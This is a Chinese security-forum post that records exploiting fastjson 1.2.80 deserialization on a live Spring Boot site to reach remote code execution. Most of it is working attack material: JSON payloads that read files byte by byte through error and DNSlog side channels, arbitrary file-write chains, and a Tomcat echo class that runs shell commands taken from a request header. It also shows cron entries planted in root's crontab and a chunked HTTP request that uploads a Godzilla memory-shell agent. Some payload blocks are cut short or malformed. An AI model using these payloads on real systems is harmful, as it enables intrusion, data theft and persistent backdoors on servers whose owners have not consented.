奇安信攻防社区-fastjson1.2.80 in Springtboot实网利用记录

fastjson1.2.80 in Springtboot实网利用记录

最近少有的一次顺利的RCE，虽有波折，但最终还是拿到了

前言
==

攻防碰到的一个站有fastjson，看着版本其实挺高的。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-5caeaf8d8914e788e6d4576e584025dd8b6f57c7.png)

这里存在一个问题，参照之前的文章，payload是需要有布尔部分的，或者说返回json的解析结果，但是此次是不存在布尔

添加缓存，爆破字节1-256无明显的差异，但是确实存在这个80的链，返回了报错是不存在的文件

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-679b6c0d2188357db167fc354fd7041d4911baa2.png)

1-256爆破

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-33924733cfd547e36edc84b82fcd42094f5d7e5e.png)

80error获取
=========

这是看到了之前大佬的一篇

<https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ>

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748221497688-c42491e6-3cbf-4437-8c87-adbcb0b1398f.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748221642964-fbf6ff27-41ce-45d2-8cc7-45bd79590457.png)

报错分析
----

文章中提到的报错payload如下：

```php

### $ref

<https://godownio.github.io/2024/10/24/fastjson-ref-diao-yong-getter/>

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748226968060-61c9b6bb-edd7-4430-9952-5c30817311e1.png)

这里代码对应的是CharSequenceReader(CharSequence charSequence, int start, int end)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231229548-2a644ccd-cfc6-4f79-9416-ea0537d4d863.png)

这里是java.lang.CharSequence,而当字节存在时候，返回的是ByteOrderMark

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231338215-74912995-47ac-4c44-9ace-7b0ec96d1436.png)

所以对象不匹配报错。

80payload
---------

这个payload是68的，我们根据80的规律改成80payload如下

原始payload
---------

原始payload是需要返回json解析的

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748225807673-55b6b0c9-6d3a-44d8-b1e2-656e830fed7b.png)

针对实际情况，则无法获取到差异，取的是里面的BOMInputStream，所以不管是否比对成功，返回的都是BOMInputStream对象。

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748225868104-c22d0a86-bed4-4bf5-ae1c-1c074254f992.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748226169584-81fc24b3-654e-42e1-a2b0-994724184304.png)

改后的payload
----------

这里取的是BOMInputStream对象里面的BOM，getBOM()

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748226123204-2bf15d9f-a361-4788-bc6c-62fdfd0ee3a4.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748226298307-7795953c-d64e-4876-885b-8bc5b3446eac.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748227545340-14d566d6-cccb-4f6b-9070-a638030282f7.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748227555243-ddc99b67-3f3a-4ddb-8b64-027ce24735c1.png)

上图包中字节比对成功返回了ByteOrderMark对象，不成功返回的是null

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748229967650-5bbd7c23-2abe-47d8-9838-f5ef741a0925.png)

80error的寻找
----------

在68中，我们通过将ByteOrderMark赋值到CharSequenceReader导致对象不匹配报错，但是在80中我们只拿到了inputstream，我们无法使用CharSequenceReader，所以需要另外找一个触发报错的地方。

这里我们到回我们读字节的payload

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231733159-0c3818f8-d04c-4f48-89d7-aa271468d954.png)

接收的是Reader对象

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231762642-07234efe-d8d3-4290-a9ea-d8b842fda9fa.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231794310-9f8d0184-c6a4-4e82-b4cf-c63ffaddf049.png)

这是个完美触发报错的地方，所以我们根据payload改成下面的

字节匹配没成功，返回的是BOMInputStream对象

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748231914658-23ac6321-db79-489e-bf1b-27590ff7dc5d.png)

当字节匹配成功时候，$.username.BOM\[0\]会调用到上面的username部分getBOM获取到ByteOrderMark并赋值给ReaderInputStream里面的reader导致对象类型不匹配报错

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748232018418-b08c56b5-25f3-4a02-8946-2f071d71d66b.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748232065680-bb5b53a7-0bad-4c99-86f0-4f06fb1e0992.png)

实际环境的利用
-------

回到最初的问题，那个站是可以报错，所以我们使用这个payload尝试

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-a38ffaf7984461e7273c3a3612f1c64d70edd32b.png)

114是r

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748233905486-c6711460-f176-4ad1-be0f-3e844e9d2e81.png)

80DNSlog
========

大佬文章同样提到了dns的方式

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748233971901-d00622f3-2cb2-41e5-b2df-aac74cedaf5a.png)

所以我们继续拼接

```php
{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
          "@type": "org.apache.commons.io.input.ReaderInputStream",
          "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "${file}"
          },
          "charsetName": "UTF-8",
          "bufferSize": "1024"
        },
        "boms": [
          {
            "charsetName": "UTF-8",
            "bytes": ${data}
          }
        ]
      },
"b" :{
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
          "@type": "org.apache.commons.io.input.ReaderInputStream",
          "reader":{"$ref":"$.a.BOM[0]"},
          "charsetName": "UTF-8",
          "bufferSize": "1024"
        },
        "boms": [
          {
            "charsetName": "UTF-8",
            "bytes": [1]
          }
        ]
      },
  "c": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
          "@type": "org.apache.commons.io.input.ReaderInputStream",
          "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "${dns}"
          },
          "charsetName": "UTF-8",
          "bufferSize": "1024"
        },
        "boms": [
          {
            "charsetName": "UTF-8",
            "bytes": [1]
          }
        ]
      },
  "zzz":{"$ref":"$.c.BOM[0]"}
}
```

当字节不匹配的时候会进行dnslog请求，存在则不会

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748234173042-139d29ad-c299-439f-8220-81e719e66653.png)

68读文件
=====

在大佬那篇文章都已经写出来了，所以在这里不看了，直接放payload

返回json读
-------

```php
{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}
```

error读
------

```php

dnslog读
-------

```php

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}
```

写文件
===

原版payload
---------

```php
{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "${shellcode}",
            "charset": "iso-8859-1",
            "bufferSize": ${size}
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "${file2write}",
              "charset": "iso-8859-1",
              "append": true
            },
            "charset": "iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
      "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {}
    }
```

用java代码写大概是这样的

```php
String shellcode="shellcode";
int size = 1024; // 缓冲区大小
CharSequenceInputStream inputStream = new CharSequenceInputStream(shellcode, "ISO-8859-1", size);
LockableFileWriter lockableFileWriter = new LockableFileWriter(new File("PocException5.txt"),"iso-8859-1",true,"tmp");
WriterOutputStream writerOutputStream = new WriterOutputStream(lockableFileWriter,"iso-8859-1",1024,true);
TeeInputStream teeInputStream = new TeeInputStream(inputStream,writerOutputStream,true);
AutoCloseInputStream autoCloseInputStream = new AutoCloseInputStream(teeInputStream);

InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024);
```

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748239692742-745403ca-2597-4f92-98a3-8c607954047a.png)

这个原版poc每次写入的字节有限，需要通过循环追加字节的方式来进行，但是如果存在丢包情况，就会导致文件写入的不完整。

网上看到了大佬的文章：

<https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA>

这里面也介绍了多个写入的方法。

80写文件-io6-一次性写入
---------------

```php

这里其实是连着写入两次，在发两次包的情况下是可以写入大文件的。转java代码也是，连着写两次就行了。

InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024);
InputStream inputStream2 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024);
```

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748241439494-c01eb250-354a-4d0d-bf53-e637c90c0c89.png)

改68写文件-win本地成功
--------------

```php
{
  "a": {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String"
          "\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE",
          "charset": "iso-8859-1",
          "bufferSize": 1024
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "/Tomcat678910cmdechoException.class",
            "charset": "iso-8859-1",
            "append": true
          },
          "charsetName": "iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
    "b": {
      "@type": "java.lang.AutoCloseable",
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "inputStream": {
          "$ref": "$.a"
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "iso-8859-1"
      },
      "charsetName": "iso-8859-1",
      "bufferSize": 1024
    },
    "c": {
      "@type": "java.lang.AutoCloseable",
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "inputStream": {
          "$ref": "$.a"
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "iso-8859-1"
      },
      "charsetName": "iso-8859-1",
      "bufferSize": 1024
    }
  }
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-f34ebc11289e00233b499a4b12f42630c39db23c.png)

改68-linux-centos7-jdk8-成功
-------------------------

### tomcatecho

```php
package com.example.poc;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

public class PocException extends Exception {
    static {
        run();
    }

public PocException() {
    }

public PocException(String str) {
        super(str);
    }

public PocException(String str, Throwable th) {
        super(str, th);
    }

public PocException(Throwable th) {
        super(th);
    }

protected PocException(String str, Throwable th, boolean z, boolean z2) {
        super(str, th, z, z2);
    }
    private static String getReqHeaderName() {
        return "Accept-Lrezx";
    }

private static void run() {
        try {
            Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[])(new Class[0]));
            var0.setAccessible(true);
            Thread[] var1 = (Thread[])((Thread[])((Thread[])var0.invoke((Object)null)));

for(int var2 = 0; var2 < var1.length; ++var2) {
                if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
                    Field var3 = var1[var2].getClass().getDeclaredField("target");
                    var3.setAccessible(true);
                    Object var4 = var3.get(var1[var2]);

try {
                        var3 = var4.getClass().getDeclaredField("endpoint");
                    } catch (NoSuchFieldException var14) {
                        var3 = var4.getClass().getDeclaredField("this$0");
                    }

var3.setAccessible(true);
                    var4 = var3.get(var4);

try {
                        var3 = var4.getClass().getDeclaredField("handler");
                    } catch (NoSuchFieldException var13) {
                        try {
                            var3 = var4.getClass().getSuperclass().getDeclaredField("handler");
                        } catch (NoSuchFieldException var12) {
                            var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                        }
                    }

var3.setAccessible(true);
                    var4 = var3.get(var4);

try {
                        var3 = var4.getClass().getDeclaredField("global");
                    } catch (NoSuchFieldException var11) {
                        var3 = var4.getClass().getSuperclass().getDeclaredField("global");
                    }

var3.setAccessible(true);
                    var4 = var3.get(var4);
                    var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");
                    if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {
                        var3 = var4.getClass().getDeclaredField("processors");
                        var3.setAccessible(true);
                        ArrayList var5 = (ArrayList)var3.get(var4);

for(int var6 = 0; var6 < var5.size(); ++var6) {
                            var3 = var5.get(var6).getClass().getDeclaredField("req");
                            var3.setAccessible(true);
                            var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);

try {
                                String var7 = (String)var3.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var3.get(var5.get(var6)), getReqHeaderName());
                                if (var7 != null) {
                                    Object response = var4.getClass().getDeclaredMethod("getResponse").invoke(var4);
                                    Writer writer = (Writer)response.getClass().getMethod("getWriter").invoke(response);
                                    writer.write(exec(var7));
                                    writer.flush();
                                    writer.close();
                                    break;
                                }
                            } catch (Exception var15) {
                            }
                        }
                    }
                }
            }
        } catch (Throwable var16) {
        }

}

private static String exec(String cmd) {
        try {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("win")) {
                isLinux = false;
            }

String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = (new Scanner(in)).useDelimiter("\\a");

String execRes;
            for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {
            }

return execRes;
        } catch (Exception var8) {
            return var8.getMessage();
        }
    }
}
```

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748243776910-e7d6e3f6-d218-497b-9334-6a77955dd6d1.png)

回到应用
====

非常可惜，最终爆破tmp目录没有拿到docbase文件

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748596872286-2be1f4b5-cbbf-4f79-89ae-a16fd6dc3188.png)

计划任务写入
------

这里其实回到开始的地方，写入文件是追加的，所以这里选择追加计划任务，因为本身环境是不出网环境，所以选择agent注入内存马。

centos

/var/spool/cron/root

```php
* * * * * [ ! -f /tmp/out1.txt ] && ps -ef | grep xxxx.jar > /tmp/out1.txt
```

这里读取out1获取pid

写入agent马
--------

写入poc每次只能写入8192左右的字节，会比8192多几十字节左右，agent大多数是400-500kb，如果像是mcp那种的，可能会有3-5m多。

比如StringUtil.jar有889718个字节，除以8192就是

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748348766554-f831d9a4-a0af-40bf-bf6b-92f0f066ae0b.png)

循环ReaderInputStream 108次即可

```php
POST /login_json HTTP/1.1
Host: 172.16.232.231:8030
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 3560742

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "\x50\x4b\x03\x04\x9e\x41\x93\xf6\x22\x75\x83.........",
            "charset": "iso-8859-1",
            "bufferSize": 1024
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/StringUtil.jar",
              "charset": "iso-8859-1",
              "append": true
            },
            "charset": "iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
      "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
    .......
    }

```

这里的原因我看像是在XmlStreamReader#getXmlProlog

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748597840433-bdf910e5-e4dd-4b95-bcc0-732f45ce6366.png)

本地尝试io6一次性写入的payload的时候，大于8kb内容时候只会写入8kb内容

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748597998313-cacc070c-b7e2-4b69-a23c-44b12020ed55.png)

这里采用MemShellParty 生成gsl-agent传入应用中，追加计划任务如下

```php
* * * * * [ ! -f /tmp/out2.txt ] && java -jar /tmp/TomcatGodzillaMemShellAgent.jar pid > /tmp/out2.txt
```

读取out2.txt

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748598079533-2b8c35fc-273b-4c1f-982c-3183e7eca992.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748598121647-734bf7a0-b28b-4360-a9f4-09802ad0bc67.png)

临时目录就是在tmp目录里面，但是那个貌似被删了，搞的我迂回这么久

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748598193880-c7eba6a7-9633-4b92-8a66-d04e8a23a96b.png)

![](https://cdn.nlark.com/yuque/0/2025/png/22165379/1748598219136-6b52a988-8605-4392-897c-1c9e745acb5f.png)

马老师的红.jpg

参考链接：  
[Squirt1e's blog](https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/)  
[luelueking/CVE-2022-25845-In-Spring: CVE-2022-25845(fastjson1.2.80) exploit in Spring Env!](https://github.com/luelueking/CVE-2022-25845-In-Spring)  
[Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg)  
[springboot环境下的写文件RCE](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA)

发表于 2025-07-11 09:00:00
阅读 ( 3198 )
分类：渗透测试

1 条评论

c铃儿响叮当 2025-07-11 11:10

红姐给你点了赞